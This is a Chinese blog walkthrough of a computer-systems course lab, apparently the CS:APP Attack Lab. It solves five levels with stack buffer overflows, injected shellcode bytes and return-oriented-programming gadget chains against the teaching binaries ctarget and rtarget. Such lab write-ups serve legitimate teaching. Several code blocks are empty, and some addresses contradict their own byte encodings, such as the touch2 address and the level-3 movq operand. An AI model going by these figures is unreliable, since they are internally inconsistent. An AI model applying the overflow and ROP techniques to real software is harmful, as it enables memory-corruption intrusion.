计算机系统基础第三次实验
每日一言
On the one hand, humans seek out new stimuli with insatiable desire. On the other, they’re also odd creatures that value old and very rare things. – Victorique de Blois
from Gosick
提示:请勿直接将本文的任何图片以及大量文字直接使用到自己的实验报告中,本博客只记录通关方法给各位参考。
实验三
第一关:
阅读文档,我们得知函数正常运行时,由test函数调用getbuf() 函数,如果程序正常运行,在执行getbuf()的ret语句后,程序计数器会从栈中获得test中下一条语句的汇编代码的地址,从而返回到test函数。
但是这个程序的读入部分并不会检测读入部分是否超过原本分配的空间,造成栈中的数据被破坏。
所以我们需要做的事情就是:
- 输入超量的内容使得getbuf()的函数栈帧被破坏。
- 让ret 执行后程序计数器得到的地址为touch1函数。
我们直接看getduf的汇编代码:
1 |
|
我们得知此时函数的栈帧大致如下:(一行为8个字节)
返回地址 |
---|
输入内容 |
输入内容 |
输入内容 |
输入内容 |
输入内容 |
输入内容 |
输入内容 (rsp 指向地址)-> |
然后我们需要得知 touch1
的地址为:0000000000401905 <touch1>:
所以我们需要输入64个字节的内容,前56个字节的内容仅仅用来填充,所以无所谓,重要的是最后8个字节的内容,需要为touch1 的地址。同时机器采用小端的存储方式,所以我们最后一个字节的地址需要两位一组的倒叙输入,则我们得到答案如下:
1 |
|
然后我们通过hex2raw 程序将我们输入的字符转为机器内容。最后输入给程序就ok啦。
第二关
根据文档中的说明,touch2的c代码如下:
1 |
|
我们在调用touch2函数时,还需要传递我们的cookie为传参,即我们要让寄存器%rdi 的内容为我们的cookie值。
我们需要自己注入攻击代码给%rdi赋值,同时通过ret 跳转到touch2的开始地址。
那么我们的程序运行步骤应该如下:
第一次通过ret 让程序运行我们的攻击代码:
1
2
3
4
5
movq cookie,%rdi
ret第二次通过ret,让程序跳转到touch2的开始地址
那么我们分析一下栈的情况,在
touch2的开始地址 |
---|
攻击代码的地址 |
攻击代码 |
输入内容 |
输入内容 |
输入内容 |
输入内容 |
输入内容 |
输入内容 (rsp 指向地址)-> |
我们打印当前%rsp的地址,那么我们的攻击代码地址为 0x55626a78 + 0x30 = 0x55626aa8
,touch2的开始地址为:0x4019a1
。
然后我们需要知道攻击的机器语言是什么,我们创建一个tem.s文件,在其中输入我们的攻击代码,然后通过gcc进行编译
1 |
|
然后我们再通过objdump反汇编,查看机器语言的16进制表示为:
1 |
|
所以我们的攻击代码16进制表示为:48 c7 c7 88 2a 53 10 c3
刚好8个字节。
所以我们最后24个字节的内容为:
1 |
|
我们把前面的48个字节全部填充为00,所以最终答案为:
1 |
|
第三关
第三关用到了两个函数:
1 |
|
我们在调用touch3的时候同时还需要给touch3传递一个字符串的首地址,并且在 hexmatch
函数中,要求我们传递的字符串,与 char *s = cbuf + random() % 100;
相等。
hexmatch
中使用了random 函数来生成一个随机数,来让字符串s变的不确定,但是字符串s的值每次是一个固定的值我们的(cookie):10532a88
。
那么我们只需要在完成以下步骤:
- 插入匹配字符串
- 第一次ret 让%rip 指向攻击代码
- 攻击代码将字符串的首地址赋给%rdi
- 第二次ret 让%rip 指向touch3
然后我们对照ascll码表将字符串转为二进制编码为: 31 30 35 33 32 61 38 38 00
最后我们来看覆盖完后栈的情况:
touch3的开始地址 52 1a 40 00 00 00 00 00 |
---|
攻击代码的地址 a8 6a 62 55 00 00 00 00 |
movq $0x55626a20, %rdi ret 48 c7 c7 78 6a 62 55 c3 |
填充内容 00 00 00 00 00 00 00 00 |
填充内容 00 00 00 00 00 00 00 00 |
填充内容 00 00 00 00 00 00 00 00 |
填充内容 00 00 00 00 00 00 00 00 |
填充内容 00 00 00 00 00 00 00 00 |
``填充内容 31 30 35 33 32 61 38 38 00 (rsp 指向地址)-> |
所以完整的答案为:
1 |
|
这样第三关就通过啦。
第四关
第四关要求我们在rtarget 中重现touch2。由于在rtarget中我们无法自己注入攻击代码,所以我们只能在farm中寻找我们需要的代码。
经过测试,直接使用 pop %rdi
在虽然能够在服务器端通过,但是远端计分侧会显示错误。所以我们这里寻找汇编代码:
1 |
|
和
1 |
|
我们分别将他们通过gcc编译再通过objdump 反汇编,得到他们机器码的16进制。
于是我们在rtarget中寻找 58 c3:
58 c3
的地址位于:0x401b2b
然后我们寻找 48 89 c7
:
48 89 c7
的地址是:0x401b15
好,现在所需要的信息我们已经掌握的差不多了,我们总结一下程序的运行过程:
- 第一次ret 让程序跳转到0x401b2b 执行:pop %rax 指令
- 第二次ret 让程序跳转到0x401b2b 执行:movq %rax,%rdi
- 第三次ret 让程序跳转到0x4019a1 执行:touch2
所以我们栈的填充情况如下:
touch2的首地址 39 19 40 00 00 00 00 00 |
---|
0x401b15 执行:movq %rax,%rdi 15 1b 40 00 00 00 00 00 |
cookie 88 2a 53 10 00 00 00 00 |
0x401b2b 执行:pop %rax 指令 2b 1b 40 00 00 00 00 00 |
填充内容 00 00 00 00 00 00 00 00 |
填充内容 00 00 00 00 00 00 00 00 |
填充内容 00 00 00 00 00 00 00 00 |
填充内容 00 00 00 00 00 00 00 00 |
填充内容 00 00 00 00 00 00 00 00 |
填充内容 00 00 00 00 00 00 00 00 |
填充内容(rsp 指向地址)->00 00 00 00 00 00 00 00 |
所以最终答案为:
1 |
|
第五关
在这一关中,我们需要通过farm中提供的汇编代码,构建gadget代码,然后将cookie 字符串的地址放在%rdi中,然后调用touch3 函数。
首先我们需要在farm中寻找我们需要的汇编代码,由于 89
总是与mov有关系,所以在所有有关89的汇编代码,我们可以找到如下汇编代码:
48 89 e0
: mov %rsp,%rax48 89 c7
: mov %rax,%rdi58
: pop %rax89 c1 20 c9
:1
2
3
4
5
mov %rax,%rcx
and %cl,%cl89 ca 90 90
:1
2
3
4
5
6
7
mov %ecx,%edx
nop
nop89 d6 91
:1
2
3
4
5
mov edx,esi
xchg %eax,%ecx48 89 c7
:1
2
3
mov %rax,%rdi
h通过拼凑以上汇编代码,我们可以写出如下攻击流程:
1 |
|
这样我们就可以将栈中的某个地址传递给%rdi,然后我们只需要在栈的对应位置储存cookie 的字符串即可。
我们画出栈的示意图
cookie 31 30 35 33 32 61 38 38 |
---|
touch3 52 1a 40 00 00 00 00 00 |
mov %rax,%rdi 15 1b 40 00 00 00 00 00 |
lea (%rdi,%rsi,1),%rax 33 1b 40 00 00 00 00 00 |
mov edx,esi ed 1b 40 00 00 00 00 00 |
mov %ecx,%edx 4e 1b 40 00 00 00 00 00 |
mov %rax,%rcx e5 1b 40 00 00 00 00 00 |
0x48 48 00 00 00 00 00 00 00 |
pop %rax 2b 1b 40 00 00 00 00 00 |
mov %rax,%rdi 15 1b 40 00 00 00 00 00 |
mov %rsp,%rax 8a 1b 40 00 00 00 00 00 |
填充内容 00 00 00 00 00 00 00 00 |
填充内容 00 00 00 00 00 00 00 00 |
填充内容 00 00 00 00 00 00 00 00 |
填充内容 00 00 00 00 00 00 00 00 |
填充内容 00 00 00 00 00 00 00 00 |
填充内容 (rsp 指向地址)->00 00 00 00 00 00 00 00 |
所以我们得到答案为:
1 |
|
最后附上通过第5关的截图: